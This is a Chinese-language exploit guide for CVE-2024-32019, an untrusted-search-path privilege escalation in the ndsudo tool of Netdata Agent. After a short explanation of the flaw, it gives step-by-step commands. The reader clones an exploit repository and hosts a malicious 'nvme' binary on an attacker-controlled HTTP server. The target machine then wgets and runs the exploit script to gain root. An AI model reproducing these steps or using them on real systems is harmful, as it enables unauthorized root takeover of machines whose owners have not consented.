ndsudo 漏洞允许攻击者通过利用 Netdata Agent 中 ndsudo 工具的不受信任搜索路径来获取 root 权限。如果攻击者将恶意二进制文件放入可写目录,并相应修改 PATH 环境变量,则可借此以提升的权限执行任意程序。
该 ndsudo 漏洞编号为 CVE-2024-32019,影响 Netdata Agent 随附的 ndsudo 工具版本,具体为 v1.45.0 及以下版本。此漏洞允许攻击者在安装了该工具的系统上进行权限提升。
漏洞工作原理:
漏洞利用机制:-
不受信任的搜索路径:ndsudo 工具使用 PATH 环境变量来定位外部命令。 攻击者可以将该变量指向其控制的目录。
恶意二进制文件的执行:通过将与 ndsudo 允许运行的命令同名的恶意可执行文件(例如 nvme)放入可写目录,
攻击者可以 root 权限执行任意代码。
攻击复杂度:-
低复杂度:该攻击不需要高级技能,一个易于构造的 bash 脚本即可用于权限提升,这使得许多潜在攻击者都可以利用。
漏洞影响:-
权限提升:成功利用该漏洞可使攻击者获得 root 访问权限,从而完全 控制系统。
潜在风险:这可能导致未经授权的数据访问、系统篡改以及进一步利用 网络资源。
权限提升 我创建了两个 bash 脚本,用于轻松从用户权限提升到 root 权限。请按照以下步骤操作 :-
git clone https://github.com/justjoeyking/CVE-2024-32019-ndsudo.git
cd CVE-2024-32019-ndsudo
chmod +x ndsudo_exp.sh
现在创建 python 服务器 :
python3 -m http.server 8080
使用 gedit 或 pluma(取决于可用的编辑器)打开 ndsudo_exploit.sh 文件。 你将看到如下的 wget 命令 :
wget http://10.10.14.70:8080/nvme -o /tmp/nvme
将 IP 地址改为你自己机器的 IP
现在前往目标机器,打开终端并执行以下操作:
wget http://<your-ip-addr>:8080/ndsudo_exploit.sh
chmod +x ndsudo_exploit.sh
./ndsudo_exploit.sh